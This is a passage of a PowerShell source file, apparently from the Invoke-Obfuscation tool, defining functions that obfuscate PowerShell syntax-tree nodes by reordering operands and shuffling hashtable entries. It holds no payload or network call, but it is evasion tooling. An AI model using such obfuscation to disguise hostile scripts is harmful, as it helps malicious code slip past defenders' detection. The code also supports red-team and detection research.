1734 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
1735 [ValidateNotNullOrEmpty()]
1736 [Alias('Ast')]
1737 [System.Management.Automation.Language.ArrayLiteralAst] $AbstractSyntaxTree,
1738
1739 [Parameter(Position = 1)]
1740 [ValidateNotNullOrEmpty()]
1741 [Alias('AstTypes', 'Types')]
1742 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
1743
1744 [Switch] $DisableNestedObfuscation
1745 )
1746 Process {
1747 Write-Verbose "[Out-ObfuscatedArrayLiteralAst]"
1748 If (-not $DisableNestedObfuscation) {
1749 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1750 }
1751 Else { $AbstractSyntaxTree.Extent.Text }
1752 }
1753 }
1754
1755 function Out-ObfuscatedAttributedExpressionAst {
1756 <#
1757
1758 .SYNOPSIS
1759
1760 Obfuscates an AttributedExpressionAst using AbstractSyntaxTree-based obfuscation rules.
1761
1762 Author: Ryan Cobb (@cobbr_io)
1763 License: Apache License, Version 2.0
1764 Required Dependecies: Out-ObfuscatedArrayExpressionAst, Out-ObfuscatedChildrenAst
1765 Optional Dependencies: none
1766
1767 .DESCRIPTION
1768
1769 Out-ObfuscatedAttributedExpressionAst obfuscates an AttributedExpressionAst using AbstractSyntaxTree-based obfuscation rules.
1770
1771 .PARAMETER AbstractSyntaxTree
1772
1773 Specifies the AttributedExpressionAst to be obfuscated.
1774
1775 .PARAMETER AstTypesToObfuscate
1776
1777 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
1778
1779 .PARAMETER DisableNestedObfuscation
1780
1781 Specifies that only the root AttributedExpressionAst should be obfuscated, obfuscation should not be applied recursively.
1782
1783 .OUTPUTS
1784
1785 String
1786
1787 .EXAMPLE
1788
1789 Out-ObfuscatedAttributedExpressionAst -Ast $ArrayLiteralAst
1790
1791 .NOTES
1792
1793 Out-ObfuscatedAttributedExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
1794
1795 #>
1796 Param (
1797 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
1798 [ValidateNotNullOrEmpty()]
1799 [Alias('Ast')]
1800 [System.Management.Automation.Language.AttributedExpressionAst] $AbstractSyntaxTree,
1801
1802 [Parameter(Position = 1)]
1803 [ValidateNotNullOrEmpty()]
1804 [Alias('AstTypes', 'Types')]
1805 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
1806
1807 [Switch] $DisableNestedObfuscation
1808 )
1809 Process {
1810 Write-Verbose "[Out-ObfuscatedAttributedExpressionAst]"
1811 If ($AbstractSyntaxTree.GetType().Name -eq 'ConvertExpressionAst') {
1812 Out-ObfuscatedArrayExpressionAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1813 }
1814 ElseIf (-not $DisableNestedObfuscation) {
1815 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1816 }
1817 Else {
1818 $AbstractSyntaxTree.Extent.Text
1819 }
1820 }
1821 }
1822
1823 function Out-ObfuscatedBinaryExpressionAst {
1824 <#
1825
1826 .SYNOPSIS
1827
1828 Obfuscates a BinaryExpressionAst using AbstractSyntaxTree-based obfuscation rules.
1829
1830 Author: Ryan Cobb (@cobbr_io)
1831 License: Apache License, Version 2.0
1832 Required Dependecies: Test-ExpressionAstIsNumeric, Out-ObfuscatedAst, Out-ParenthesizedString, Out-ObfuscatedChildrenAst
1833 Optional Dependencies: none
1834
1835 .DESCRIPTION
1836
1837 Out-ObfuscatedBinaryExpressionAst obfuscates a BinaryExpressionAst using AbstractSyntaxTree-based obfuscation rules.
1838
1839 .PARAMETER AbstractSyntaxTree
1840
1841 Specifies the BinaryExpressionAst to be obfuscated.
1842
1843 .PARAMETER AstTypesToObfuscate
1844
1845 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
1846
1847 .PARAMETER DisableNestedObfuscation
1848
1849 Specifies that only the root BinaryExpressionAst should be obfuscated, obfuscation should not be applied recursively.
1850
1851 .OUTPUTS
1852
1853 String
1854
1855 .EXAMPLE
1856
1857 Out-ObfuscatedBinaryExpressionAst -Ast $BinaryExpressionAst
1858
1859 .NOTES
1860
1861 Out-ObfuscatedBinaryExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
1862
1863 #>
1864 Param (
1865 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
1866 [ValidateNotNullOrEmpty()]
1867 [Alias('Ast')]
1868 [System.Management.Automation.Language.BinaryExpressionAst] $AbstractSyntaxTree,
1869
1870 [Parameter(Position = 1)]
1871 [ValidateNotNullOrEmpty()]
1872 [Alias('AstTypes', 'Types')]
1873 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
1874
1875 [Switch] $DisableNestedObfuscation
1876 )
1877 Process {
1878 Write-Verbose "[Out-ObfuscatedBinaryExpressionAst]"
1879 If (-not ($AbstractSyntaxTree.GetType() -in $AstTypesToObfuscate)) {
1880 If (-not $DisableNestedObfuscation) {
1881 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1882 }
1883 Else { $AbstractSyntaxTree.Extent.Text }
1884 }
1885 Else {
1886 $OperatorText = [System.Management.Automation.Language.TokenTraits]::Text($AbstractSyntaxTree.Operator)
1887
1888 $ObfuscatedString = $AbstractSyntaxTree.Extent.Text
1889
1890 # Numeric operation obfuscation
1891 If((Test-ExpressionAstIsNumeric -Ast $AbstractSyntaxTree.Left) -AND (Test-ExpressionAstIsNumeric -Ast $AbstractSyntaxTree.Right)) {
1892 $Whitespace = ""
1893 If ((Get-Random @(0,1)) -eq 0) { $Whitespace = " " }
1894 # Operators that can be reordered
1895 $LeftString = $AbstractSyntaxTree.Left.Extent.Text
1896 $RightString = $AbstractSyntaxTree.Right.Extent.Text
1897 If (-not $DisableNestedObfuscation) {
1898 $LeftString = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.Left -AstTypesToObfuscate $AstTypesToObfuscate
1899 $RightString = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.Right -AstTypesToObfuscate $AstTypesToObfuscate
1900 }
1901 If ($OperatorText -in @("+", "*")) {
1902 $ObfuscatedString = $RightString + $Whitespace + $OperatorText + $Whitespace + $LeftString
1903 }
1904 ElseIf ($OperatorText -eq "-") {
1905 $ObfuscatedString = Out-ParenthesizedString ("-" + $Whitespace + (Out-ParenthesizedString ((Out-ParenthesizedString $RightString) + $Whitespace + $OperatorText + $Whitespace + (Out-ParenthesizedString $LeftString))))
1906 }
1907 }
1908 ElseIf (-not $DisableNestedObfuscation) { $ObfuscatedString = Out-ObfuscatedChildrenAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
1909
1910 $ObfuscatedString
1911 }
1912 }
1913 }
1914
1915 function Out-ObfuscatedConstantExpressionAst {
1916 <#
1917
1918 .SYNOPSIS
1919
1920 Obfuscates a ConstantExpressionAst using AbstractSyntaxTree-based obfuscation rules.
1921
1922 Author: Ryan Cobb (@cobbr_io)
1923 License: Apache License, Version 2.0
1924 Required Dependecies: Out-ObfuscatedChildrenAst
1925 Optional Dependencies: none
1926
1927 .DESCRIPTION
1928
1929 Out-ObfuscatedConstantExpressionAst obfuscates a ConstantExpressionAst using AbstractSyntaxTree-based obfuscation rules.
1930
1931 .PARAMETER AbstractSyntaxTree
1932
1933 Specifies the ConstantExpressionAst to be obfuscated.
1934
1935 .PARAMETER AstTypesToObfuscate
1936
1937 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
1938
1939 .PARAMETER DisableNestedObfuscation
1940
1941 Specifies that only the root ConstantExpressionAst should be obfuscated, obfuscation should not be applied recursively.
1942
1943 .OUTPUTS
1944
1945 String
1946
1947 .EXAMPLE
1948
1949 Out-ObfuscatedConstantExpressionAst -Ast $ConstantExpressionAst
1950
1951 .NOTES
1952
1953 Out-ObfuscatedConstantExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
1954
1955 #>
1956 Param (
1957 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
1958 [ValidateNotNullOrEmpty()]
1959 [Alias('Ast')]
1960 [System.Management.Automation.Language.ConstantExpressionAst] $AbstractSyntaxTree,
1961
1962 [Parameter(Position = 1)]
1963 [ValidateNotNullOrEmpty()]
1964 [Alias('AstTypes', 'Types')]
1965 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
1966
1967 [Switch] $DisableNestedObfuscation
1968 )
1969 Process {
1970 Write-Verbose "[Out-ObfuscatedConstantExpressionAst]"
1971 If (-not $DisableNestedObfuscation) {
1972 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1973 }
1974 Else { $AbstractSyntaxTree.Extent.Text }
1975 }
1976 }
1977
1978 function Out-ObfuscatedErrorExpressionAst {
1979 <#
1980
1981 .SYNOPSIS
1982
1983 Obfuscates a ErrorExpressionAst using AbstractSyntaxTree-based obfuscation rules.
1984
1985 Author: Ryan Cobb (@cobbr_io)
1986 License: Apache License, Version 2.0
1987 Required Dependecies: Out-ObfuscatedChildrenAst
1988 Optional Dependencies: none
1989
1990 .DESCRIPTION
1991
1992 Out-ObfuscatedErrorExpressionAst obfuscates a ErrorExpressionAst using AbstractSyntaxTree-based obfuscation rules.
1993
1994 .PARAMETER AbstractSyntaxTree
1995
1996 Specifies the ErrorExpressionAst to be obfuscated.
1997
1998 .PARAMETER AstTypesToObfuscate
1999
2000 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
2001
2002 .PARAMETER DisableNestedObfuscation
2003
2004 Specifies that only the root ErrorExpressionAst should be obfuscated, obfuscation should not be applied recursively.
2005
2006 .OUTPUTS
2007
2008 String
2009
2010 .EXAMPLE
2011
2012 Out-ObfuscatedErrorExpressionAst -Ast $ErrorExpressionAst
2013
2014 .NOTES
2015
2016 Out-ObfuscatedErrorExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
2017
2018 #>
2019 Param (
2020 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
2021 [ValidateNotNullOrEmpty()]
2022 [Alias('Ast')]
2023 [System.Management.Automation.Language.ErrorExpressionAst] $AbstractSyntaxTree,
2024
2025 [Parameter(Position = 1)]
2026 [ValidateNotNullOrEmpty()]
2027 [Alias('AstTypes', 'Types')]
2028 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
2029
2030 [Switch] $DisableNestedObfuscation
2031 )
2032 Process {
2033 Write-Verbose "[Out-ObfuscatedErrorExpressionAst]"
2034 If (-not $DisableNestedObfuscation) {
2035 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
2036 }
2037 Else { $AbstractSyntaxTree.Extent.Text }
2038 }
2039 }
2040
2041 function Out-ObfuscatedExpandableStringExpressionAst {
2042 <#
2043
2044 .SYNOPSIS
2045
2046 Obfuscates an ExpandableStringExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2047
2048 Author: Ryan Cobb (@cobbr_io)
2049 License: Apache License, Version 2.0
2050 Required Dependecies: Out-ObfuscatedChildrenAst
2051 Optional Dependencies: none
2052
2053 .DESCRIPTION
2054
2055 Out-ObfuscatedExpandableStringExpressionAst obfuscates an ExpandableStringExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2056
2057 .PARAMETER AbstractSyntaxTree
2058
2059 Specifies the ExpandableStringExpressionAst to be obfuscated.
2060
2061 .PARAMETER AstTypesToObfuscate
2062
2063 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
2064
2065 .PARAMETER DisableNestedObfuscation
2066
2067 Specifies that only the root ExpandableStringExpressionAst should be obfuscated, obfuscation should not be applied recursively.
2068
2069 .OUTPUTS
2070
2071 String
2072
2073 .EXAMPLE
2074
2075 Out-ObfuscatedExpandableStringExpressionAst -Ast $ExpandableStringExpressionAst
2076
2077 .NOTES
2078
2079 Out-ObfuscatedExpandableStringExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
2080
2081 #>
2082 Param (
2083 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
2084 [ValidateNotNullOrEmpty()]
2085 [Alias('Ast')]
2086 [System.Management.Automation.Language.ExpandableStringExpressionAst] $AbstractSyntaxTree,
2087
2088 [Parameter(Position = 1)]
2089 [ValidateNotNullOrEmpty()]
2090 [Alias('AstTypes', 'Types')]
2091 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
2092
2093 [Switch] $DisableNestedObfuscation
2094 )
2095 Process {
2096 Write-Verbose "[Out-ObfuscatedExpandableStringExpressionAst]"
2097 If (-not $DisableNestedObfuscation) {
2098 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
2099 }
2100 Else { $AbstractSyntaxTree.Extent.Text }
2101 }
2102 }
2103
2104 function Out-ObfuscatedHashtableAst {
2105 <#
2106
2107 .SYNOPSIS
2108
2109 Obfuscates a HashtableAst using AbstractSyntaxTree-based obfuscation rules.
2110
2111 Author: Ryan Cobb (@cobbr_io)
2112 License: Apache License, Version 2.0
2113 Required Dependecies: Out-ObfuscatedAst
2114 Optional Dependencies: none
2115
2116 .DESCRIPTION
2117
2118 Out-ObfuscatedHashtableAst obfuscates a HashtableAst using AbstractSyntaxTree-based obfuscation rules.
2119
2120 .PARAMETER AbstractSyntaxTree
2121
2122 Specifies the HashtableAst to be obfuscated.
2123
2124 .PARAMETER AstTypesToObfuscate
2125
2126 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
2127
2128 .PARAMETER DisableNestedObfuscation
2129
2130 Specifies that only the root HashtableAst should be obfuscated, obfuscation should not be applied recursively.
2131
2132 .OUTPUTS
2133
2134 String
2135
2136 .EXAMPLE
2137
2138 Out-ObfuscatedHashtableAst -Ast $HashtableAst
2139
2140 .NOTES
2141
2142 Out-ObfuscatedHashtableAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
2143
2144 #>
2145 Param (
2146 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
2147 [ValidateNotNullOrEmpty()]
2148 [Alias('Ast')]
2149 [System.Management.Automation.Language.HashtableAst] $AbstractSyntaxTree,
2150
2151 [Parameter(Position = 1)]
2152 [ValidateNotNullOrEmpty()]
2153 [Alias('AstTypes', 'Types')]
2154 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
2155
2156 [Switch] $DisableNestedObfuscation
2157 )
2158 Process {
2159 Write-Verbose "[Out-ObfuscatedHashtableAst]"
2160 If (-not ($AbstractSyntaxTree.GetType() -in $AstTypesToObfuscate)) {
2161 If (-not $DisableNestedObfuscation) {
2162 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
2163 }
2164 Else { $AbstractSyntaxTree.Extent.Text }
2165 }
2166 Else {
2167 $ObfuscatedKeyValuePairs = @()
2168 $ChildrenAsts = $AbstractSyntaxTree.KeyValuePairs | % { $_.Item1; $_.Item2 }
2169 If ($DisableNestedObfuscation) {
2170 $ObfuscatedKeyValuePairs = $AbstractSyntaxTree.KeyValuePairs
2171 }
2172 Else {
2173 ForEach ($KeyValuePair in $AbstractSyntaxTree.KeyValuePairs) {
2174 $ObfuscatedItem1 = Out-ObfuscatedAst $KeyValuePair.Item1 -AstTypesToObfuscate $AstTypesToObfuscate
2175 $ObfuscatedItem2 = Out-ObfuscatedAst $KeyValuePair.Item2 -AstTypesToObfuscate $AstTypesToObfuscate
2176 $ObfuscatedKeyValuePairs += [System.Tuple]::Create($ObfuscatedItem1, $ObfuscatedItem2)
2177 }
2178 }
2179
2180 $ObfuscatedString = $AbstractSyntaxTree.Extent.Text
2181 $ObfuscatedString = "@{"
2182 If ($ObfuscatedKeyValuePairs.Count -ge 1) {
2183 $ObfuscatedKeyValuePairs = $ObfuscatedKeyValuePairs | Get-Random -Count $ObfuscatedKeyValuePairs.Count
2184 ForEach ($ObfuscatedKeyValuePair in $ObfuscatedKeyValuePairs) {
2185 $ObfuscatedString += $ObfuscatedKeyValuePair.Item1 + "=" + $ObfuscatedKeyValuePair.Item2 + ";"
2186 }
2187 }
2188 $ObfuscatedString += "}"
2189
2190 $ObfuscatedString
2191 }
2192 }
2193 }
2194
2195 function Out-ObfuscatedIndexExpressionAst {
2196 <#
2197
2198 .SYNOPSIS
2199
2200 Obfuscates a IndexExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2201
2202 Author: Ryan Cobb (@cobbr_io)
2203 License: Apache License, Version 2.0
2204 Required Dependecies: Out-ObfuscatedChildrenAst
2205 Optional Dependencies: none
2206
2207 .DESCRIPTION
2208
2209 Out-ObfuscatedHashtableAst obfuscates a IndexExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2210
2211 .PARAMETER AbstractSyntaxTree
2212
2213 Specifies the IndexExpressionAst to be obfuscated.
2214
2215 .PARAMETER AstTypesToObfuscate
2216
2217 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
2218
2219 .PARAMETER DisableNestedObfuscation
2220
2221 Specifies that only the root IndexExpressionAst should be obfuscated, obfuscation should not be applied recursively.
2222
2223 .OUTPUTS
2224
2225 String
2226
2227 .EXAMPLE
2228
2229 Out-ObfuscatedIndexExpressionAst -Ast $IndexExpressionAst
2230
2231 .NOTES
2232
2233 Out-ObfuscatedIndexExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
2234
2235 #>
2236 Param (
2237 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
2238 [ValidateNotNullOrEmpty()]
2239 [Alias('Ast')]
2240 [System.Management.Automation.Language.IndexExpressionAst] $AbstractSyntaxTree,
2241
2242 [Parameter(Position = 1)]
2243 [ValidateNotNullOrEmpty()]
2244 [Alias('AstTypes', 'Types')]
2245 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
2246
2247 [Switch] $DisableNestedObfuscation
2248 )
2249 Process {
2250 Write-Verbose "[Out-ObfuscatedIndexExpressionAst]"
2251 If (-not $DisableNestedObfuscation) {
2252 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
2253 }
2254 Else { $AbstractSyntaxTree.Extent.Text }
2255 }
2256 }
2257
2258 function Out-ObfuscatedMemberExpressionAst {
2259 <#
2260
2261 .SYNOPSIS
2262
2263 Obfuscates a MemberExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2264
2265 Author: Ryan Cobb (@cobbr_io)
2266 License: Apache License, Version 2.0
2267 Required Dependecies: Out-ObfuscatedChildrenAst
2268 Optional Dependencies: none
2269
2270 .DESCRIPTION
2271
2272 Out-ObfuscatedMemberExpressionAst obfuscates a MemberExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2273
2274 .PARAMETER AbstractSyntaxTree
2275
2276 Specifies the MemberExpressionAst to be obfuscated.
2277
2278 .PARAMETER AstTypesToObfuscate
2279
2280 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
2281
2282 .PARAMETER DisableNestedObfuscation
2283
2284 Specifies that only the root MemberExpressionAst should be obfuscated, obfuscation should not be applied recursively.
2285
2286 .OUTPUTS
2287
2288 String
2289
2290 .EXAMPLE
2291
2292 Out-ObfuscatedMemberExpressionAst -Ast $MemberExpressionAst
2293
2294 .NOTES
2295
2296 Out-ObfuscatedMemberExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
2297
2298 #>
2299 Param (
2300 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
2301 [ValidateNotNullOrEmpty()]
2302 [Alias('Ast')]
2303 [System.Management.Automation.Language.MemberExpressionAst] $AbstractSyntaxTree,
2304
2305 [Parameter(Position = 1)]
2306 [ValidateNotNullOrEmpty()]
2307 [Alias('AstTypes', 'Types')]
2308 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
2309
2310 [Switch] $DisableNestedObfuscation
2311 )
2312 Process {
2313 Write-Verbose "[Out-ObfuscatedMemberExpressionAst]"
2314 If (-not $DisableNestedObfuscation) {
2315 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
2316 }
2317 Else { $AbstractSyntaxTree.Extent.Text }
2318 }
2319 }
2320
2321 function Out-ObfuscatedParenExpressionAst {
2322 <#
2323
2324 .SYNOPSIS
2325
2326 Obfuscates a ParenExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2327
2328 Author: Ryan Cobb (@cobbr_io)
2329 License: Apache License, Version 2.0
2330 Required Dependecies: Out-ObfuscatedChildrenAst
2331 Optional Dependencies: none
2332
2333 .DESCRIPTION
2334
2335 Out-ObfuscatedParenExpressionAst obfuscates a ParenExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2336
2337 .PARAMETER AbstractSyntaxTree
2338
2339 Specifies the ParenExpressionAst to be obfuscated.
2340
2341 .PARAMETER AstTypesToObfuscate
2342
2343 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
2344
2345 .PARAMETER DisableNestedObfuscation
2346
2347 Specifies that only the root ParenExpressionAst should be obfuscated, obfuscation should not be applied recursively.
2348
2349 .OUTPUTS
2350
2351 String
2352
2353 .EXAMPLE
2354
2355 Out-ObfuscatedParenExpressionAst -Ast $ParenExpressionAst
2356
2357 .NOTES
2358
2359 Out-ObfuscatedParenExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
2360
2361 #>
2362 Param (
2363 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
2364 [ValidateNotNullOrEmpty()]
2365 [Alias('Ast')]
2366 [System.Management.Automation.Language.ParenExpressionAst] $AbstractSyntaxTree,
2367
2368 [Parameter(Position = 1)]
2369 [ValidateNotNullOrEmpty()]
2370 [Alias('AstTypes', 'Types')]
2371 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
2372
2373 [Switch] $DisableNestedObfuscation
2374 )
2375 Process {
2376 Write-Verbose "[Out-ObfuscatedParenExpressionAst]"
2377 If (-not $DisableNestedObfuscation) {
2378 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
2379 }
2380 Else { $AbstractSyntaxTree.Extent.Text }
2381 }
2382 }
2383
2384 function Out-ObfuscatedScriptBlockExpressionAst {
2385 <#
2386
2387 .SYNOPSIS
2388
2389 Obfuscates a ScriptBlockExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2390
2391 Author: Ryan Cobb (@cobbr_io)
2392 License: Apache License, Version 2.0
2393 Required Dependecies: Out-ObfuscatedChildrenAst
2394 Optional Dependencies: none
2395
2396 .DESCRIPTION
2397
2398 Out-ObfuscatedScriptBlockExpressionAst obfuscates a ScriptBlockExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2399
2400 .PARAMETER AbstractSyntaxTree
2401
2402 Specifies the ScriptBlockExpressionAst to be obfuscated.
2403
2404 .PARAMETER AstTypesToObfuscate
2405
2406 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
2407
2408 .PARAMETER DisableNestedObfuscation
2409
2410 Specifies that only the root ScriptBlockExpressionAst should be obfuscated, obfuscation should not be applied recursively.
2411
2412 .OUTPUTS
2413
2414 String
2415
2416 .EXAMPLE
2417
2418 Out-ObfuscatedScriptBlockExpressionAst -Ast $ScriptBlockExpressionAst
2419
2420 .NOTES
2421
2422 Out-ObfuscatedScriptBlockExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
2423
2424 #>
2425 Param (
2426 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
2427 [ValidateNotNullOrEmpty()]
2428 [Alias('Ast')]
2429 [System.Management.Automation.Language.ScriptBlockExpressionAst] $AbstractSyntaxTree,
2430
2431 [Parameter(Position = 1)]
2432 [ValidateNotNullOrEmpty()]
2433 [Alias('AstTypes', 'Types')]
